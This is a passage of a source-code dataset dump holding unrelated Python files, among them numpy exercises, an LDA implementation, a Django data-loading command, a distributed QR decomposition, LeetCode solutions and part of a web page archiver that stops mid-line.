np.array([[1,2,3],[4,5,6,]],int)\n\nprint(x)\n\nprint(type(x))\n\nprint(x.shape)\nprint(x.dtype)\n\n\ntest =np.array([\"abcdef\",\"abcdef\"])\n\n# %%\n\nf = np.full(5,2)\n\nf1 = np.full((2,3),-1,float)\nf2 = np.full_like(f1,2)\nf3 = np.empty((1,5))\nf4 = np.empty_like(f2)\n\n# %%\nf5 = np.zeros((3,5))\nf6 = np.zeros_like(f1)\nf7 = np.identity(4)\n\n# %%\n\nn1 = np.arange(10,30,5)\nn2 = np.arange(0,2,0.3)\nn3 = np.arange(8.0,8.4,0.05)\n\nl1 = np.linspace(0,100,5) # linear \nl2 = np.logspace(0,1,11) # log space\nl3 = np.geomspace(1,1000,4)\n\n\n\n\n# %%\nimport numpy as np\nimport matplotlib.pyplot as plt\npts = np.arange(-5, 5, 0.01)\nx, y = np.meshgrid(pts, pts)\nz = np.sqrt(x**2 + y**2)\nplt.imshow(z, cmap=plt.cm.gray)\nplt.colorbar()\nplt.show()\n\n# %%\na= np.arange(6)\nprint(a.shape)\n\na.reshape(2,3)\n\nprint(a.shape)\n\na.resize(2,3)\nprint(a.shape)\na.flatten()\nprint(a.shape)\na.reshape(1,-1)\nprint(a.shape)\n# %%\na = np.arange(6)\na.transpose()\nb = a.reshape(3,2)\n#%% \ny = np.arange(35).reshape(5,7)\nprint(y)\n\n# %%\n\n\nalph =\"abcdefghijklmnopqrstu\"\n\ndef encode(data):\n encoded = np.array(list( np.eye(1,27, alph.index(c))[0] for c in data ))\n return encoded\n\n\nprint(encode(\"abc\"))\n\n# %%\n","sub_path":"python/3day/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"138286096","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport statsmodels.api as sm\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import classification_report\nfrom sklearn import tree\nfrom sklearn import linear_model\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import confusion_matrix\n\ndef get_float_rows(dataset) :\n col_float = []\n col_object = []\n for i in dataset.columns:\n if dataset[i].dtypes == np.float:\n col_float.append(i)\n elif dataset[i].dtypes == np.object:\n col_object.append(i)\n return col_float,col_object\n# Load in data\ndf_train = pd.read_csv('exercise_02_train.csv')\nx_test_set = pd.read_csv('exercise_02_test.csv')\n\n# check data types before training\n\ndf_train_types = df_train.dtypes\nx_test_types = df_train.dtypes\n\n#x_train_set = df_train.iloc[:,0:len(df_train.columns)-1]\nx_train_set = df_train\ncol_float,col_object = get_float_rows(x_train_set)\n\nx_train_set[col_object[2]] =x_train_set[col_object[2]].replace('[\\$,]', '', regex=True).astype(float)\nx_train_set[col_object[3]] =x_train_set[col_object[3]].replace('[\\%,]', '', regex=True).astype(float)\ncategorized = [col_object[0],col_object[1],col_object[4],col_object[5]]\nfor i in range(0,len(categorized)):\n codes, uniques = pd.factorize(x_train_set[categorized[i]])\n print(type(list(codes)))\n x_train_set[categorized[i]] = list(codes)\n\nx_test_set[col_object[2]] =x_test_set[col_object[2]].replace('[\\$,]', '', regex=True).astype(float)\nx_test_set[col_object[3]] =x_test_set[col_object[3]].replace('[\\%,]', '', regex=True).astype(float)\ncategorized = [col_object[0],col_object[1],col_object[4],col_object[5]]\nfor i in range(0,len(categorized)):\n codes, uniques = pd.factorize(x_test_set[categorized[i]])\n print(type(list(codes)))\n x_test_set[categorized[i]] = list(codes)\n\nx_train = x_train_set\nx_test = x_test_set\n\n# using Nearest neighbors imputation\nimport numpy as np\nfrom sklearn.impute import KNNImputer\n\nx_train = x_train.replace(x_train.isnull(), np.nan)\nx_test = x_test.replace(x_train.isnull(), np.nan)\n\nmiss_number_train = (x_train.isnull().sum() > 0).astype(np.int64).sum()\nprint(\"Before removing impurities = \",miss_number_train)\nmiss_number_test = (x_test.isnull().sum() > 0).astype(np.int64).sum()\nprint(\"Before removing impurities = \",miss_number_test)\n\nimputer = KNNImputer(n_neighbors=1)\nxtrain_filled = imputer.fit_transform(x_train)\nxtest_filled = imputer.fit_transform(x_test)\n\nx_train = pd.DataFrame(data=xtrain_filled, columns=x_train.columns)\nx_test = pd.DataFrame(data=xtest_filled, columns=x_test.columns)\n\nmiss_number_train = (x_train.isnull().sum() > 0).astype(np.int64).sum()\nprint(\"After removing impurities = \",miss_number_train)\nmiss_number_test = (x_test.isnull().sum() > 0).astype(np.int64).sum()\nprint(\"Before removing impurities = \",miss_number_test)\n\n######################################################################################\n# LDA From Scratch\n######################################################################################\n#compute d dimensions vectors for each class : 0, 1 in this case\nX = x_train.iloc[:,0:len(df_train.columns)-1]\ncol_names = [0,1]\nclass_feature_means = pd.DataFrame(columns=col_names)\nfor c, rows in x_train.groupby('y'):\n class_feature_means[c] = rows.mean()\nnum_rows = len(class_feature_means[0]) -1\nclass_feature_means = class_feature_means[0:num_rows]\n\n#2\n#plug the mean vectors (mi) into the equation from before\n# in order to obtain the within class scatter matrix.\nmatrix_size = len(class_feature_means)\nwithin_class_scatter_matrix = np.zeros((matrix_size,matrix_size))\nfor c, rows in x_train.groupby('y'):\n rows = rows.drop(['y'], axis=1)\n\ns = np.zeros((matrix_size, matrix_size))\nfor index, row in rows.iterrows():\n x, mc = row.values.reshape(matrix_size, 1), class_feature_means[c].values.reshape(matrix_size, 1)\n s += (x - mc).dot((x - mc).T)\nwithin_class_scatter_matrix += s\n\n\n#3\n#we calculate the between class scatter matrix using the following formula.\nfeature_means = x_train.mean()\nfeature_means = feature_means[0:len(feature_means)-1]\nbetween_class_scatter_matrix = np.zeros((matrix_size, matrix_size))\nfor c in class_feature_means:\n n = len(x_train.loc[x_train['y'] == c].index)\n\n mc, m = class_feature_means[c].values.reshape(matrix_size, 1), feature_means.values.reshape(matrix_size, 1)\n\n between_class_scatter_matrix += n * (mc - m).dot((mc - m).T)\n\n# solve the generalized eigenvalue problem for\neigen_values, eigen_vectors = np.linalg.eig(np.linalg.inv(within_class_scatter_matrix).dot(between_class_scatter_matrix))\nprint(\"Eigen Values = \")\nprint(eigen_values)\n#The eigenvectors with the highest eigenvalues carry the most\n# information about the distribution of the data. Thus, we sort\n# the eigenvalues from highest to lowest and select the first k\n# eigenvectors. In order to ensure that the eigenvalue maps to\n# the same eigenvector after sorting, we place them in a\n# temporary array.\npairs = [(np.abs(eigen_values[i]), eigen_vectors[:,i]) for i in range(len(eigen_values))]\npairs = sorted(pairs, key=lambda x: x[0], reverse=True)\nfor pair in pairs:\n print(pair[0])\n# from output above we can see that most of varience described by\n# first 1 eigenvalues\n# 4.134169691291513\n# 2.2118180158789248e-14\n# 2.2118180158789248e-14\n\neigen_value_sums = abs(np.sum(abs(eigen_values)))\nprint(\"eigen_value_sums = \",eigen_value_sums)\nprint('Explained Variance')\nfor i, pair in enumerate(pairs):\n #print(\"i=\",i,\" pair[0]=\",pair[0],\" eigen_value_sums = \",eigen_value_sums);\n print('Eigenvector {}: {}'.format(i, (abs(pair[0])/eigen_value_sums).real))\n\n#Explained Variance by 1 eigenvalue\n#Eigenvector 0: 1.000000000000007\n#Eigenvector 1: 5.350090056869362e-15\n#Eigenvector 2: 5.350090056869362e-15\n#First, we create a matrix W with the first 1 eigenvectors.\nw_matrix = np.hstack((pairs[0][1].reshape(matrix_size,1), pairs[1][1].reshape(matrix_size,1) )).real\n\n# we save the dot product of X and W into a new matrix Y.\nX_lda = np.array(X.dot(w_matrix))\n#matplotlib can’t handle categorical variables directly.\n# Thus, we encode every class as a number so that we can\n# incorporate the class labels into our plot.\nle = LabelEncoder()\ny = le.fit_transform(x_train['y'])\n\nplt.xlabel('LD1')\nplt.ylabel('LD2')\nxx = X_lda[:,0]\nyy = X_lda[:,1]\nplt.scatter(\n xx,\n yy,\n c=y,\n cmap='rainbow',\n alpha=0.7,\n edgecolors='b'\n\n)\nplt.show()\nprint(\"End \")\n\n#####################################################################\nprint(\"Start LDA using scikit-learn\")\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nlda = LinearDiscriminantAnalysis(n_components=3)\nX_lda2 = lda.fit_transform(X, y)\nprint(\"lda.explained_variance_ratio_ = \",lda.explained_variance_ratio_)\n\n############ LDA fpund only one vector ###########################\nprint(\"End LDA using scikit-learn : LDA found only one vector\")\n############ Trying PCA ############################################\n","sub_path":"MachineLearning/PCA_VS_LDA/LDAFromScratch.py","file_name":"LDAFromScratch.py","file_ext":"py","file_size_in_byte":7185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"480507734","text":"#!/usr/bin/env python3\n\nimport pickle\nimport os\n\ndata = 'files.dat'\nHOME = os.getenv('HOME')\nDX2DIR = (HOME + '/.DX2')\nAKADIR = (DX2DIR + '/aliases')\nFUNCDIR = (DX2DIR + '/functions')\nfileCDFUNC = (FUNCDIR + '/cd.func')\nfileMDFUNC = (FUNCDIR + '/md.func')\nfileLSAKA = (AKADIR + '/ls.aka')\nfileMISCAKA = (AKADIR + '/misc.aka')\nfileDX2RC = (HOME + '/.dx2rc')\n\nf = open(data, 'rb')\n\nfiles = pickle.load(f)\nf.close()\n\ndef writefile(x, y):\n\t\"\"\"\n\tFunction used to:\n\t\t1. check to see if file already exists\n\t\t\t1a. Move on if it already exists\n\t\t\t1b. or, create the file if it doesn't exists\n\tSyntax:\n\t\twritefile(, )\n\t\"\"\"\n\tfilepath = str(x)\n\tfiledata = y\n\tprint('\\033[00;01mChecking for \\033[00;38;5;226m' + filepath + '\\033[00;01m:\\033[m')\n\tif os.path.exists(filepath) == True:\n\t\tprint('\\t\\033[00;01mFile already exists')\n\telse:\n\t\tprint('\\t\\033[00;01mFile not found. Creating now: ', end='')\n\t\tf = open(filepath, 'w')\n\t\tf.write(filedata)\n\t\tf.close()\n\t\tprint('\\033[00;01;38;5;46mDONE\\033[m')\n\ndef writealldefault():\n\t\"\"\"\n\tFunc to write all the default files:\n\t\t1.\t.dx2rc\n\t\t2.\tall the aka files\n\t\t3.\tall the func files\n\t\"\"\"\n\twritefile(fileDX2RC, files['.dx2rc'])\n\twritefile(fileLSAKA, files['ls.aka'])\n\twritefile(fileMISCAKA, files['misc.aka'])\n\twritefile(fileCDFUNC, files['cd.func'])\n\twritefile(fileMDFUNC, files['md.func'])\n","sub_path":"NewSetup/create_files.py","file_name":"create_files.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"636845534","text":"from django.core.management.base import BaseCommand\r\nfrom mainapp.models import Category, Product\r\n# from django.contrib.auth.models import User\r\n\r\nimport json, os\r\n\r\nJSON_PATH = '/Users/kirill/work/school/django/geekshop/mainapp/json'\r\n\r\n\r\ndef load_json(file_name):\r\n with open(os.path.join(JSON_PATH, file_name + '.json'), 'r') as infile:\r\n return json.load(infile)\r\n\r\n\r\nclass Command(BaseCommand):\r\n help = 'Fill DB with new data'\r\n print('Запуск скрипта')\r\n\r\n def handle(self, *args, **options):\r\n categories = load_json('categories')\r\n\r\n Category.objects.all().delete()\r\n for category in categories:\r\n new_category = Category(**category)\r\n new_category.save()\r\n\r\n products = load_json('products')\r\n \r\n Product.objects.all().delete()\r\n for product in products:\r\n category_name = product[\"category\"]\r\n # Получаем категорию по имени\r\n _category = Category.objects.get(name=category_name)\r\n # Заменяем название категории объектом\r\n product['category'] = _category\r\n new_product = Product(**product)\r\n new_product.save()\r\n\r\n # User.objects.all().delete()\r\n # # Создаем суперпользователя при помощи менеджера модели\r\n # super_user = User.objects.create_superuser('admin', 'admin@admin.ru', '123321')\r\n","sub_path":"geekshop/mainapp/management/commands/fill_db.py","file_name":"fill_db.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"397207308","text":"#!/usr/bin/python\n\n# -*- coding: utf-8 -*-\n\n# For better print formatting\nfrom __future__ import print_function\n\n# Imports\nfrom pycompss.api.constraint import constraint\nfrom pycompss.api.task import task\nfrom pycompss.api.api import compss_barrier, compss_wait_on\n\nimport numpy as np\n\n\n# TODO: Extend for non-square matrices. There is no size verifications.\n\n\n############################################\n# MATRIX GENERATION\n############################################\n\ndef generate_matrix(m_size, b_size, block_type='random'):\n mat = []\n for i in range(m_size):\n mat.append([])\n for _ in range(m_size):\n mat[i].append(create_block(b_size, block_type=block_type))\n return mat\n\n\ndef generate_identity(m_size, b_size):\n mat = []\n for i in range(m_size):\n mat.append([])\n for _ in range(0, i):\n mat[i].append(create_block(b_size, block_type='zeros'))\n mat[i].append(create_block(b_size, block_type='identity'))\n for _ in range(i + 1, m_size):\n mat[i].append(create_block(b_size, block_type='zeros'))\n return mat\n\n\n@constraint(ComputingUnits=\"${ComputingUnits}\")\n@task(returns=list)\ndef create_block(b_size, block_type='random'):\n if block_type == 'zeros':\n block = np.matrix(np.zeros((b_size, b_size)), dtype=np.float64, copy=False)\n elif block_type == 'identity':\n block = np.matrix(np.identity(b_size), dtype=np.float64, copy=False)\n else:\n import os\n np.random.seed(ord(os.urandom(1)))\n block = np.matrix(np.random.random((b_size, b_size)), dtype=np.float64, copy=False)\n return block\n\n\n############################################\n# MAIN FUNCTION\n############################################\n\ndef qr_blocked(a, m_size, b_size):\n # Debug\n if __debug__:\n a = compss_wait_on(a)\n\n print(\"Matrix A:\")\n print(a)\n\n # Initialize Q and R matrices\n q = generate_identity(m_size, b_size)\n r = copy_blocked(a)\n\n # Initialize intermediate iteration variables\n q_act = [None]\n q_sub = [[np.matrix(np.array([0])), np.matrix(np.array([0]))], [np.matrix(np.array([0])), np.matrix(np.array([0]))]]\n aux = [None, None]\n\n # Main loop\n for i in range(m_size):\n q_act[0], r[i][i] = qr(r[i][i], transpose=True)\n\n for j in range(m_size):\n q[j][i] = dot(q[j][i], q_act[0], transpose_b=True)\n\n for j in range(i + 1, m_size):\n r[i][j] = dot(q_act[0], r[i][j])\n\n # Update values of the respective column\n for j in range(i + 1, m_size):\n q_sub[0][0], q_sub[0][1], q_sub[1][0], q_sub[1][1], r[i][i], r[j][i] = little_qr(r[i][i], r[j][i], b_size,\n transpose=True)\n\n # Update values of the row for the value updated in the column\n for k in range(i + 1, m_size):\n # [[r[i][k]], [r[j][k]]] = multiply_blocked_1(q_sub, [[r[i][k]], [r[j][k]]], b_size, transpose_b=False)\n aux[0] = create_block(b_size, block_type='zeros')\n aux[0] = multiply_single_block(q_sub[0][0], r[i][k], aux[0], transpose_b=False)\n aux[0] = multiply_single_block(q_sub[0][1], r[j][k], aux[0], transpose_b=False)\n\n aux[1] = create_block(b_size, block_type='zeros')\n aux[1] = multiply_single_block(q_sub[1][0], r[i][k], aux[1], transpose_b=False)\n aux[1] = multiply_single_block(q_sub[1][1], r[j][k], aux[1], transpose_b=False)\n\n r[i][k] = aux[0]\n r[j][k] = aux[1]\n\n for k in range(m_size):\n # [[q[k][i], q[k][j]]] = multiply_blocked_2([[q[k][i], q[k][j]]], q_sub, b_size, transpose_b=True)\n aux[0] = create_block(b_size, block_type='zeros')\n aux[0] = multiply_single_block(q[k][i], q_sub[0][0], aux[0], transpose_b=True)\n aux[0] = multiply_single_block(q[k][j], q_sub[0][1], aux[0], transpose_b=True)\n\n aux[1] = create_block(b_size, block_type='zeros')\n aux[1] = multiply_single_block(q[k][i], q_sub[1][0], aux[1], transpose_b=True)\n aux[1] = multiply_single_block(q[k][j], q_sub[1][1], aux[1], transpose_b=True)\n\n q[k][i] = aux[0]\n q[k][j] = aux[1]\n\n # Debug result\n if __debug__:\n input_a = join_matrix(compss_wait_on(a))\n q_res = join_matrix(compss_wait_on(q))\n r_res = join_matrix(compss_wait_on(r))\n\n print(\"Matrix A:\")\n print(input_a)\n print(\"Matrix Q:\")\n print(q_res)\n print(\"Matrix R:\")\n print(r_res)\n\n # Check result\n if __debug__:\n check_result(q_res, r_res, input_a)\n\n\n############################################\n# MATHEMATICAL FUNCTIONS\n############################################\n\n@task(returns=(list, list))\ndef qr(a, mode='reduced', transpose=False):\n # Numpy call\n from numpy.linalg import qr as qr_numpy\n q, r = qr_numpy(a, mode=mode)\n\n # Transpose if requested\n if transpose:\n q = np.transpose(q)\n\n return q, r\n\n\n@task(returns=list)\ndef dot(a, b, transpose_result=False, transpose_b=False):\n if transpose_b:\n b = np.transpose(b)\n\n if transpose_result:\n return np.transpose(np.dot(a, b))\n else:\n return np.dot(a, b)\n\n\n@task(returns=(list, list, list, list, list, list), priority=True)\ndef little_qr(a, b, b_size, transpose=False):\n # Numpy call\n from numpy.linalg import qr as qr_numpy\n current_a = np.bmat([[a], [b]])\n sub_q, sub_r = qr_numpy(current_a, mode='complete')\n\n new_a = sub_r[0:b_size]\n new_b = sub_r[b_size:2 * b_size]\n sub_q = split_matrix(sub_q, 2)\n\n # Transpose if requested (care indexes)\n if transpose:\n return np.transpose(sub_q[0][0]), np.transpose(sub_q[1][0]), np.transpose(sub_q[0][1]), np.transpose(\n sub_q[1][1]), new_a, new_b\n else:\n return sub_q[0][0], sub_q[0][1], sub_q[1][0], sub_q[1][1], new_a, new_b\n\n\n@task(returns=1)\ndef multiply_single_block(a, b, c, transpose_b=False):\n # Transpose if requested\n if transpose_b:\n b = np.transpose(b)\n\n # Numpy operation\n return c + np.dot(a, b)\n\n\n############################################\n# BLOCK HANDLING FUNCTIONS\n############################################\n\ndef copy_blocked(a, transpose=False):\n res = []\n for i in range(len(a)):\n res.append([])\n for j in range(len(a[0])):\n res[i].append(np.matrix([0]))\n for i in range(len(a)):\n for j in range(len(a[0])):\n if transpose:\n res[j][i] = a[i][j]\n else:\n res[i][j] = a[i][j]\n return res\n\n\ndef split_matrix(a, m_size):\n b_size = len(a) / m_size\n\n new_mat = [[None for _ in range(m_size)] for _ in range(m_size)]\n for i in range(m_size):\n for j in range(m_size):\n new_mat[i][j] = np.matrix(a[i * b_size:(i + 1) * b_size, j * b_size:(j + 1) * b_size])\n return new_mat\n\n\ndef join_matrix(a):\n res = np.matrix([[]])\n for i in range(0, len(a)):\n current_row = a[i][0]\n for j in range(1, len(a[i])):\n current_row = np.bmat([[current_row, a[i][j]]])\n if i == 0:\n res = current_row\n else:\n res = np.bmat([[res], [current_row]])\n return np.matrix(res)\n\n\ndef check_result(q_res, r_res, input_a):\n is_ok = np.allclose(np.dot(q_res, r_res), input_a)\n print(\"Result check status: \" + str(is_ok))\n\n if not is_ok:\n raise Exception(\"Result does not match expected result\")\n\n\n############################################\n# MAIN\n############################################\n\nif __name__ == \"__main__\":\n # Import libraries\n import time\n\n # Parse arguments\n import sys\n\n args = sys.argv[1:]\n MSIZE = int(args[0])\n BSIZE = int(args[1])\n\n # Log arguments if required\n if __debug__:\n print(\"Running QR application with:\")\n print(\" - MSIZE = \" + str(MSIZE))\n print(\" - BSIZE = \" + str(BSIZE))\n\n # Initialize matrix\n if __debug__:\n print(\"Initializing matrix\")\n start_time = time.time()\n A = generate_matrix(MSIZE, BSIZE)\n compss_barrier()\n\n # Begin computation\n if __debug__:\n print(\"Performing computation\")\n qr_start_time = time.time()\n qr_blocked(A, MSIZE, BSIZE)\n compss_barrier(True)\n end_time = time.time()\n\n # Log results and time\n if __debug__:\n print(\"Post-process results\")\n total_time = end_time - start_time\n init_time = qr_start_time - start_time\n qr_time = end_time - qr_start_time\n\n print(\"RESULTS -----------------\")\n print(\"VERSION USERPARALLEL\")\n print(\"MSIZE \" + str(MSIZE))\n print(\"BSIZE \" + str(BSIZE))\n print(\"DEBUG \" + str(__debug__))\n print(\"TOTAL_TIME \" + str(total_time))\n print(\"INIT_TIME \" + str(init_time))\n print(\"QR_TIME \" + str(qr_time))\n print(\"-------------------------\")\n","sub_path":"examples/qr/userparallel/qr.py","file_name":"qr.py","file_ext":"py","file_size_in_byte":8986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"355357015","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 6 17:02:36 2019\n\n@author: LIUWEI\n\"\"\"\n\nstr1 = input('输入一个数字:')\nnum2 = int(str1[::-1])\nnum1 = int(str1)\nif num2 == num1:\n print(\"你输入的是回文哦\")\nelse:\n print(\"重来\")\n","sub_path":"python/回文.py","file_name":"回文.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"237372251","text":"\"\"\"wikitext\n\nRevision ID: 6160273d53f9\nRevises: c3190fbc2acb\nCreate Date: 2017-06-11 17:45:40.155841\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6160273d53f9'\ndown_revision = 'c3190fbc2acb'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('wikiformat',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('wikitext',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('sha1', sa.String(), nullable=False),\n sa.Column('title', sa.String(), nullable=False),\n sa.Column('article', sa.Text(), nullable=False),\n sa.Column('format_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['format_id'], ['wikiformat.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('wikitext')\n op.drop_table('wikiformat')\n # ### end Alembic commands ###\n","sub_path":"sum_code/alembic/versions/6160273d53f9_wikitext.py","file_name":"6160273d53f9_wikitext.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"642637035","text":"\"\"\"\nDescription: Remove a file when an item is received\n\"\"\"\n\nfrom mdatapipe.core.plugin import PipelinePlugin\nfrom os import unlink\n\n\nclass Plugin(PipelinePlugin):\n\n def on_input(self, item):\n path = self.config['path']\n try:\n unlink(path)\n except FileNotFoundError:\n if not self.config.get(\"ignore_errors\"):\n raise\n self.put(item)\n","sub_path":"mdatapipe-old/mdatapipe/plugins/transform/item/unlink.py","file_name":"unlink.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"172858741","text":"# 커스터마이징 부분, 티켓의 갯수를 통해서 순회를 조절하라, visited로는 한계\n# 아에 visited를 제외해야한다.\ndef dfs(graph,v,visited,ticketCountMatrix,answer):\n # print('in dfs',v,answer)\n # print(*ticketCountMatrix,sep='\\n')\n \n visited[v]=1\n answer.append(v)\n \n if(len(graph[v])>0):\n for adj in graph[v]:\n if(ticketCountMatrix[v][adj]>0):\n ticketCountMatrix[v][adj]-=1\n dfs(graph,adj,visited,ticketCountMatrix,answer)\n \n else: continue\n \ndef solution(tickets):\n answer = []\n \n places=[]\n \n for ticket in tickets:\n for place in ticket:\n if(place not in places): places.append(place)\n places.sort()\n # print(places.sort())\n \n n=len(places)\n idxs=[i for i in range(n)]\n place_idx={place : idx for place,idx in zip(places,idxs)}\n idx_place={idx : place for place,idx in place_idx.items()}\n # print(place_idx)\n # print(idx_place)\n \n graph=[[] for _ in range(n)]\n visited=[0 for _ in range(n)]\n \n ticketCountMatrix=[[0]*n for _ in range(n)]\n for ticket in tickets:\n place1, place2 = ticket\n \n node1, node2 =place_idx[place1],place_idx[place2]\n # print(node1, node2)\n graph[node1].append(node2)\n # 알파벳순방문을 위한 정렬\n graph[node1].sort()\n # print('adj list',graph[node1])\n \n ticketCountMatrix[node1][node2]+=1\n # print()\n # print(*graph,sep='\\n')\n # print()\n # print(*ticketCountMatrix,sep='\\n')\n # print()\n start=\"ICN\"\n dfs(graph,place_idx[start],visited,ticketCountMatrix,answer)\n # print(answer)\n\n for place in places:\n if(visited[place_idx[place]]==0):\n dfs(graph,place_idx[place],visited,ticketCountMatrix,answer)\n \n answer2=[]\n for idx in answer:\n answer2.append(idx_place[idx])\n # print(answer2)\n \n return answer2","sub_path":"PSrecords_python/PSpool/programmersQuiz/dfsNbfs/04travel.py","file_name":"04travel.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"480521500","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n__author__ = 'MFC'\n__time__ = '2019-03-22 00:32'\n\n\"\"\"\nhttps://leetcode-cn.com/problems/to-lower-case/\n\nPS:这道题虽然python有极���做法,但是实际考的知识点参考这个。\n极简做法调用lower()\n\nASCII不经过比较转换字母大小写\nhttps://blog.csdn.net/dd864140130/article/details/41578501\n\"\"\"\n\nclass Solution:\n def toLowerCase(self, str: str) -> str:\n new_str = \"\"\n for i in str:\n if \"A\" <= i <=\"Z\":\n new_str += chr(ord(i)+32)\n else:\n new_str += i\n return new_str\n\n def toLowerCase_v2(self, str: str) -> str:\n return str.lower()\n\nif __name__ == '__main__':\n targets = [\"Hello\", \"here\", \"LOVELY\", \"tESt\"] # test case\n so = Solution()\n for target in targets:\n print(so.toLowerCase(target))\n\n print(\"--\"*40)\n\n for target in targets:\n print(so.toLowerCase_v2(target))\n\n","sub_path":"leetcode/709_To_Lower_Case_2.py","file_name":"709_To_Lower_Case_2.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"189345997","text":"from rest_framework import serializers\r\nfrom .models import Project\r\n\r\n\r\nclass ProjectSerializer(serializers.ModelSerializer):\r\n \"\"\"A serializer for the Project model.\"\"\"\r\n\r\n collaborators = serializers.ReadOnlyField()\r\n # screenshots = serializers.ReadOnlyField()\r\n\r\n class Meta:\r\n model = Project\r\n fields = ('id',\r\n 'name',\r\n 'short_description',\r\n 'technical_overview',\r\n 'source',\r\n 'is_active',\r\n 'screenshots',\r\n 'collaborators')\r\n","sub_path":"gregthompsonjr/apps/projects/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"66868500","text":"#!/usr/bin/env python3\n\n# Common functions\n# Author:\tJason Buss\n# Created:\t2016-03-16\n# Version: \t1.0\n\nimport os\npath = os.path.dirname(__file__)\n\ndef get_varfromfile(filename):\n\t# gets variables from file\n\timport imp\n\tf = open(filename)\n\tglobal data\n\tdata = imp.load_source('data', '', f)\n\tf.close()\n\treturn data\n\t\ndef get_config(file):\n\tconfig = get_varfromfile('{0}\\config\\{1}'.format(path, file))\n\treturn config\t","sub_path":"fx_common.py","file_name":"fx_common.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535569569","text":"from __future__ import print_function\r\nimport base64\r\nimport datetime\r\nimport os\r\nimport re\r\nimport sys\r\nimport requests\r\nimport time\r\nimport lxml\r\nfrom bs4 import BeautifulSoup\r\nfrom termcolor import colored\r\nif sys.version > '3':\r\n from urllib.parse import urlparse, urlunsplit, urljoin, quote\r\nelse:\r\n from urlparse import urlparse, urlunsplit, urljoin\r\n from urllib import quote\r\nimport customheader\r\nre_css_url = re.compile('(url\\(.*?\\))')\r\nwebpage2html_cache = {}\r\ndef log(s, color=None, on_color=None, attrs=None, new_line=True):\r\n if not color:\r\n print(str(s), end=' ', file=sys.stderr)\r\n else:\r\n print(colored(str(s), color, on_color, attrs), end=' ', file=sys.stderr)\r\n if new_line:\r\n sys.stderr.write('\\n')\r\n sys.stderr.flush()\r\n\r\n\r\ndef absurl(index, relpath=None, normpath=None):\r\n if index==\"custom_opengenus_offline_header_css.css\" or relpath==\"custom_opengenus_offline_header_css.css\" :\r\n return index\r\n if index==\"custom_opengenus_offline_header_js.js\" or relpath==\"custom_opengenus_offline_header_js.js\" :\r\n return index\r\n if normpath is None:\r\n normpath = lambda x: x\r\n if index.lower().startswith('http') or (relpath and relpath.startswith('http')):\r\n new = urlparse(urljoin(index, relpath))\r\n return urlunsplit((new.scheme, new.netloc, normpath(new.path), new.query, ''))\r\n else:\r\n if relpath:\r\n return normpath(os.path.join(os.path.dirname(index), relpath))\r\n else:\r\n return index\r\n\r\n\r\ndef get(index, relpath=None, verbose=True, usecache=True, verify=True, ignore_error=False):\r\n if index==\"custom_opengenus_offline_header_css.css\" or relpath==\"custom_opengenus_offline_header_css.css\" :\r\n with open('custom_opengenus_offline_header_css.css', 'r') as myfile:\r\n data=myfile.read().replace('\\n', '')\r\n return str(data),None\r\n if index==\"custom_opengenus_offline_header_js.js\" or relpath==\"custom_opengenus_offline_header_js.js\" :\r\n with open('custom_opengenus_offline_header_js.js', 'r') as myfile:\r\n data=myfile.read().replace('\\n', '')\r\n return str(data),None\r\n global webpage2html_cache\r\n if index.startswith('http') or (relpath and relpath.startswith('http')):\r\n full_path = absurl(index, relpath)\r\n if not full_path:\r\n if verbose:\r\n log('[ WARN ] invalid path, %s %s' % (index, relpath), 'yellow')\r\n return '', None\r\n full_path.strip()\r\n full_path = quote(full_path, safe=\"%/:=&?~#+!$,;'@()*[]\")\r\n if usecache:\r\n if full_path in webpage2html_cache:\r\n if verbose:\r\n log('[ CACHE HIT ] - %s' % full_path)\r\n return webpage2html_cache[full_path], None\r\n headers = {\r\n 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 